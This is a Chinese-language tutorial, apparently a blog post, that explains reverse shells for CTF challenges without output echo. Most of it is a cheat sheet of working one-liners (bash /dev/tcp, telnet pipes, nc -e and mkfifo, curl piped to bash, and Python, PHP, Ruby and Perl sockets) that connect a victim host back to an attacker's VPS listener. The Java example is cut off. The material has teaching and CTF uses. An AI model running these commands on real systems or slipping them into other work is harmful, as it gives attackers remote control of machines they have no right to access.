反弹Shell
为什么要反弹shell?
在打ctf比赛的时候,会遇到一些题目它不会回显,需要借助反弹shell来拿flag。
什么是反弹shell?
简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的>web服务器:
http(https)://ip:80
,这是因为在服务器上面开启了80端口的监听,我们去>访问它的时候,就会给我们建立连接。而现在所谓的反弹shell
指的是反过来在我们自己的公网>vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell>去远程控制服务器了。
实验环境:
kali()
腾讯云(x.x.x.240)
在实验之前,先确定vps已经开通端口且防火墙允许访问,不然无法做。在这里我开的端口是9999
方法一:使用bash反弹shell
bash
1 | bash -c "bash -i >& /dev/tcp/x.x.x.240/9999 0>&1" |
现在vps上监听端口
nc -lvvp 9999
在kali上执行命令
1 | bash -c "bash -i >& /dev/tcp/x.x.x.240/9999 0>&1" |
可以看到,vps上已经可以执行命令了
方法二:Telnet反弹shell
2.1:
1 | mknod backpipe p && telnet x.x.x.x 4444 0<backpipe | /bin/bash 1>backpipe |
2.2:攻击者主机上开两个终端,分别监听:
nc -lvvp 9999
nc -lvvp 9002
在目标主机执行:
1 | telnet x.x.x.x 9999 | /bin/bash | telnet x.x.x.x 9002 |
可以看到,一个端口用来输入,一个端口用来输出
9999端口输入:
9002端口输出:
方法三:nc反弹shell
3.1 正常一句话反弹
1 | nc x.x.x.x 9999 -t -e /bin/bash |
如果目标主机linux发行版本没有 -e 参数,还有以下几种方式:
3.2 mkfifo
1 | rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f |
注:mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信
3.3 开两个端口
nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555 #从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。
方法四:各种脚本反弹shell
4.1 curl反弹shell
curl反弹的前提需要攻击机上开启了apache等服务,并在网站目录下写入了一个带有bash一句话的文件,当受害机执行curl ip/带有bash一句话的文件|bash
,就可以反弹shell。下面开始演示:
现在vps的www目录下新建一个curl.txt,并且写入bash一句话。(IP地址为攻击机地址即vps的地址)
1 | bash -i >& /dev/tcp/x.x.x.x/9999 0>&1 |
开启端口监听后,在受害机执行
1 | curl x.x.x.x/curl.txt|bash |
4.2 python反弹shell
先监听端口,然后在受害机上执行如下命令:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x.",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
4.3 php反弹shell
先监听端口,然后在受害机上执行如下命令:
1 | php -r '$sock=fsockopen("x.x.x.x",9999);exec("/bin/sh -i <&3 >&3 2>&3");' |
1 | php -r '$s=fsockopen("x.x.x.x",9999);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);' //我用这个命令反弹过去就马上断了 |
1 | php -r '$s=fsockopen("x.x.x.x",9999);shell_exec("/bin/sh -i <&3 >&3 2>&3");' |
1 | php -r '$s=fsockopen("x.x.x.x",9999);`/bin/sh -i <&3 >&3 2>&3`;' |
1 | php -r '$s=fsockopen("x.x.x.x",9999);system("/bin/sh -i <&3 >&3 2>&3");' |
1 | php -r '$s=fsockopen("x.x.x.x",9999);popen("/bin/sh -i <&3 >&3 2>&3", "r");' |
4.3 ruby反弹shell
先监听端口,然后在受害机上执行如下命令:
1 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","9999");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
4.3 Java反弹shell
编辑Test.java
注意事项:类名要和文件名一致。
1 | public class Test { |
vps上收到shell
4.4 perl反弹shell
1 | perl -e 'use Socket;$i="x.x.x.x";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |